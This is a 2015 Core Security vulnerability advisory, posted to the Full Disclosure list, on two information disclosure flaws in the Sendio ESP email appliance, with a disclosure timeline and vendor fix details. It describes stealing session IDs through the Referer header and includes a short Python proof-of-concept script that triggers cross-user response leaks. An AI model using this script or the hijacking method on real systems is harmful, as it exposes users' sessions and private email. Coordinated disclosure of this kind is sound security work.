[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [FD] [CORE-2015-0010] - Sendio ESP Information Disclosure Vulnerability
From:       CORE Advisories Team <advisories () coresecurity ! com>
Date:       2015-05-22 16:11:59
Message-ID: 555F554F.4000306 () coresecurity ! com
[Download RAW message or body]

1. Advisory Information

Title: Sendio ESP Information Disclosure Vulnerability
Advisory ID: CORE-2015-0010
Advisory URL: http://www.coresecurity.com/advisories/sendio-esp-information-disclosure-vulnerability
Date published: 2015-05-22
Date of last update: 2015-05-22
Vendors contacted: Sendio
Release mode: Coordinated release


2. Vulnerability Information

Class: OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management [CWE-930], \
                Information Exposure [CWE-200]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-0999, CVE-2014-8391



3. Vulnerability Description

Sendio [1] ESP (E-mail Security Platform) is a network appliance which provides anti-spam and anti-virus \
solutions for enterprises. Two information disclosure issues were found affecting some versions of this \
software, and can lead to leakage of sensitive information such as user's session identifiers and/or \
user's email messages.


4. Vulnerable Packages

Sendio 6 (14.1120.0)
Other products and versions might be affected too, but they were not tested.


5. Vendor Information, Solutions and Workarounds

Sendio informs us that [CVE-2014-0999] and [CVE-2014-8391] are fixed on Sendio software Version 7.2.4.

For [CVE-2014-0999], the vulnerability only exists for HTTP web sessions and not HTTPS web sessions. \
Sendio recommends that customers who have not upgraded to Version 7.2.4 should disallow HTTP on their \
Sendio product and only use HTTPS.


6. Credits

This vulnerability was discovered and researched by Martin Gallo from Core Security's Consulting Services \
Team. The publication of this advisory was coordinated by Joaquín Rodríguez Varela from Core Security's \
Advisories Team.


7. Technical Description / Proof of Concept Code

7.1. Disclosure of session cookie in Web interface URLs

The Sendio [1] ESP Web interface authenticates users with a session cookie named "jsessionid". The \
vulnerability [CVE-2014-0999] is caused due the way the Sendio ESP Web interface handles this \
authentication cookie, as the "jsessionid" cookie value is included in URLs when obtaining the content of \
emails. The URLs used by the application follow this format:

 
      http://<ESP-web-interface-domain>:<ESP-web-interface-port>/sendio/ice/cmd/msg/body;jsessionid=<session-identifier-value>?id=<message-id>
  
This causes the application to disclose the session identifier value, allowing attackers to perform \
session hijacking. An attacker might perform this kind of attack by sending an email message containing \
links or embedded image HTML tags pointing to a controlled web site, and then accessing the victim's \
session cookies through the "Referrer" HTTP header. Accessing this authentication cookie might allow an \
attacker to hijack a victim's session and obtain access to email messages or perform actions on behalf of \
the victim.

7.2. Response mixup in Web interface

The vulnerability [CVE-2014-8391] is caused by an improper handling of users' sessions by the Web \
interface. Under certain conditions, this could lead to the server disclosing sensitive information that \
was intended for a different user. This information includes, for instance, other users' session \
identifiers, email message identifiers or email message subjects. In order to trigger this vulnerability, \
requests should be authenticated.

The following Python script can be used to trigger this vulnerability under certain circumstances:

 
import requests

domain = "target.domain.com"                     # The target domain
port = 8888                                      # The target port
jsessionid = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"  # A valid jsessionid
num = 100000                                     # No of request to make
msgid = 9999999                                  # A valid message id to baseline the requests

url = "http://%s:%d/sendio/ice/cmd/msg/body;jsessionid=%s" % (domain, port, jsessionid)


def make_request(id):
    params = {"id": str(id)}
    headers = {"Cookie": "JSESSIONID=%s" % jsessionid}
    return requests.get(url, params=params, headers=headers)


print "[*] Reaching the target to define baseline"
r = make_request(msgid)
baseline_length = r.headers["content-length"]
print "[*] Defined baseline: %d bytes" % baseline_length

for id in range(0, num):
    r = make_request(msgid)
    rlength = int(r.headers["content-length"])
    if r.status_code == 200 and rlength != baseline_length:
        print "\t", r.status_code, rlength, r.text
    else:
        print "\t", r.status_code, rlength
 


8. Report Timeline

2015-03-26: Core Security sent an initial notification to Sendio informing them that multiple \
vulnerabilities were found in one of their products, and requested their PGP keys in order to start an \
                encrypted communication.
2015-03-27: Sendio replied that they would not be able to use PGP keys, but stated that their In/out SMTP \
gateway uses TLS, so that should suffice. They detailed that they were working on a fix for the \
"CS_SENDIO_JSESSIONID_DISCLOSURE" vulnerability and estimated it would be released by the end of April, \
                2015. They requested additional technical details for the "CS_SENDIO_INFO_LEAK" \
                vulnerability.
2015-03-30: Core Security informed that understood that Sendio may not be able to use PGP keys, but Core \
doesn't consider the use of TLS as a replacement for PGP. Core Security requested to receive confirmation \
from Sendio in case they wanted to keep the communications unencrypted with PGP in order to send them a \
                draft version of the advisory.
2015-03-30: Sendio confirmed that the communication can remain "as is" without PGP. They will inform Core \
once they have a specific date for publishing the fix. Sendio requested a PoC for the \
                "CS_SENDIO_INFO_LEAK vulnerability".
2015-03-31: Core Security sent a draft version of the advisory and PoC to Sendio.
2015-03-31: Sendio confirmed reception of the advisory and PoC and informed Core that they would provide \
                an update on their test on April 6.
2015-04-06: Sendio informed Core that they were able to reproduce the "CS_SENDIO_INFO_LEAK" issue and \
                that were still analyzing it in order to create a fix.
2015-04-07: Core Security requested an estimated date for the release of a fix/update.
2015-04-13: Core Security again requested an answer from Sendio regarding the release of a fix/update.
2015-04-13: Sendio informed Core they were still working on a fix for the JSession issue that covers all \
use cases across Microsoft Outlook and the various supported web browsers. For the "CS_SENDIO_INFO_LEAK" \
they had coded a fix that was undergoing a System Test. Sendio estimated the release would take place on \
                May 15, 2015.
2015-04-20: Sendio informed Core they were still planning to release the fixes by May 15, 2015.
2015-04-20: Core Security thanked Sendio for the update and informed them they would schedule their \
                security advisory accordingly.
2015-04-24: Core Security requested that Sendio delay the release date of the fixes until Monday, May 18 \
                in order to avoid publishing them on a Friday.
2015-04-27: Sendio informed Core that many of their customers have their Sendio systems set to \
"automatically update" on weekends. Sendio requested Core publish their advisory a week after the fix is \
                published. Sendio also requested the ability to add some workarounds into Core's \
                advisory.
2015-04-28: Core Security informed Sendio that they understood their update policy and let them know that \
it is Core's policy to publish their advisory the same day the fix is released in order to inform the \
affected users of its availability. Core also stated that they were willing to add any workarounds Sendio \
                proposed.
2015-05-05: Sendio informed Core that they were still having problems developing a fix for the JSession \
                vulnerability, therefore they may have to postpone the release date from May 15 to May \
                22.
2015-05-07: Core Security thanked Sendio for the update and requested to be kept informed in order to \
                have enough time to schedule their advisory.
2015-05-12: Sendio confirmed that they needed to delay the publication of the fixes until May 21. \
Additionally, Sendio sent Core the proposed workarounds to be added in Core's advisory and requested a \
                draft copy of it.
2015-05-15: Core Security informed Sendio it would reschedule the publication of their advisory and would \
                send them a draft copy of it once they produced the final version.
2015-05-20: Sendio informed Core that they would publish the fixes at 10 PM, May 21.
2015-05-20: Core Security informed Sendio that based on their publication time they would have to delay \
                the release of the advisory until Friday 22.
2015-05-22: Advisory CORE-2015-0010 published.


9. References

[1] http://www.sendio.com/. 


10. About CoreLabs

CoreLabs, the research center of Core Security, is charged with anticipating the future needs and \
requirements for information security technologies. We conduct our research in several important areas of \
computer security including system vulnerabilities, cyber attack planning and simulation, source code \
auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, \
novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, \
technical papers, project information and shared software tools for public use at: \
http://corelabs.coresecurity.com.


11. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats with security test and \
measurement solutions that continuously identify and demonstrate real-world exposures to their most \
critical assets. Our customers can gain real visibility into their security standing, real validation of \
their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat \
expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security \
Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.


12. Disclaimer

The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015 CoreLabs, and are \
licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: \
http://creativecommons.org/licenses/by-nc-sa/3.0/us/


13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security advisories team, which is available for \
download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.



_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic